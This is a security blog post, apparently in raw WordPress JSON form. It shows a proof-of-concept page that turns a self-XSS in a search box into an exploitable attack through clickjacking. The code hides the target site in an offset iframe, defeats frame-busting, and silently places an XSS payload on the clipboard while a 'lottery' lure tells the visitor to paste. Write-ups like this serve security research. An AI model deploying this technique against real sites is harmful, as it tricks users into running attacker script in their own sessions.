Poc Code:
\n<\/strong><\/p>\n<html>\r\n<title>ClickJacking Lottery Game POC<\/title>\r\n<body><center>\r\n<h1>ClickJacking Lottery Game<\/h1>\r\n\r\n<b><p>Can you copy me ?<\/p><b>\r\n<script>\r\nfunction copyTextToClipboard(text) {\r\nvar textArea = document.createElement(\"textarea\");\r\n\r\n\/\/\r\n\/\/ *** This styling is an extra step which is likely not required. ***\r\n\/\/\r\n\/\/ Why is it here? To ensure:\r\n\/\/ 1. the element is able to have focus and selection.\r\n\/\/ 2. if element was to flash render it has minimal visual impact.\r\n\/\/ 3. less flakyness with selection and copying which **might** occur if\r\n\/\/ the textarea element is not visible.\r\n\/\/\r\n\/\/ The likelihood is the element won't even render, not even a flash,\r\n\/\/ so some of these are just precautions. However in IE the element\r\n\/\/ is visible whilst the popup box asking the user for permission for\r\n\/\/ the web page to copy to the clipboard.\r\n\/\/\r\n\r\n\/\/ Place in top-left corner of screen regardless of scroll position.\r\ntextArea.style.position = 'fixed';\r\ntextArea.style.top = 0;\r\ntextArea.style.left = 0;\r\n\r\n\/\/ Ensure it has a small width and height. Setting to 1px \/ 1em\r\n\/\/ doesn't work as this gives a negative w\/h on some browsers.\r\ntextArea.style.width = '2em';\r\ntextArea.style.height = '2em';\r\n\r\n\/\/ We don't need padding, reducing the size if it does flash render.\r\ntextArea.style.padding = 0;\r\n\r\n\/\/ Clean up any borders.\r\ntextArea.style.border = 'none';\r\ntextArea.style.outline = 'none';\r\ntextArea.style.boxShadow = 'none';\r\n\r\n\/\/ Avoid flash of white box if rendered for any reason.\r\ntextArea.style.background = 'transparent';\r\n\r\n\r\ntextArea.value = text;\r\n\r\ndocument.body.appendChild(textArea);\r\n\r\ntextArea.select();\r\n\r\ntry {\r\nvar successful = document.execCommand('copy');\r\nvar msg = successful ? 'successful' : 'unsuccessful';\r\nconsole.log('Copying text command was ' + msg);\r\n} catch (err) {\r\nconsole.log('Oops, unable to copy');\r\n}\r\n\r\ndocument.body.removeChild(textArea);\r\n}\r\n\r\ndocument.addEventListener('keydown', function(event) {\r\nvar ms = 100;\r\nvar start = new Date().getTime();\r\nvar end = start;\r\nwhile(end < start + ms) {\r\nend = new Date().getTime();\r\n}\r\ncopyTextToClipboard('<img src=x onerror=confirm(document.domain)>');\r\n});\r\n\r\n<\/script>\r\n\r\n\r\n<script>function t(e){window.setTimeout(\"stop();\",10);}window.onbeforeunload=t;var frames=new Array();<\/script>\r\n<div qjid=\"quickjack\" style=\"overflow: hidden; width: 304px; height: 38px; position: relative;\" id=\"cksl6\">\r\n<iframe name=\"cksl7\" src=\"https:\/\/www.target.com\/home\" style=\"border: 0pt none ; left: -875px; top: -8px; position: absolute; width: 1920px; height: 971px;\" scrolling=\"no\"><\/iframe><\/div>\r\n↑ ↑ ↑ ↑ ↑ ↑ <br><br>\r\n<b>Paste here to WIN :) <b><\/pre>\nLimitations:<\/strong><\/p>\nFor exploiting issues similar to this, the application should be vulnerable for the ClickJacking.<\/p>\n
Do let me know in comments if you exploited similar issues in more interesting ways, for any query comment or twitter<\/a> it, and yes don’t copy paste blindly anything from the internet<\/strong>.<\/p>\n <\/p>\n","protected":false},"excerpt":{"rendered":"
Hi Everyone, A few weeks ago I found an issue which initially looks like unexploitable, it was Self XSS again, this time in Search Box where users can search for books\/documents, XSS get triggered once we type\/paste our payload in search box via Applications AutoSuggestion feature, but once search get completed it gets blocked by […]<\/p>\n","protected":false},"author":1,"featured_media":528,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[23,24,22,25],"_links":{"self":[{"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/posts\/512"}],"collection":[{"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/comments?post=512"}],"version-history":[{"count":24,"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/posts\/512\/revisions"}],"predecessor-version":[{"id":538,"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/posts\/512\/revisions\/538"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/media\/528"}],"wp:attachment":[{"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/media?parent=512"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/categories?post=512"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.geekboy.ninja\/blog\/wp-json\/wp\/v2\/tags?post=512"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
![\"\"](\"http:\/\/www.geekboy.ninja\/blog\/wp-content\/uploads\/2017\/11\/CJ-XSS.png\")
<\/a><\/p>\n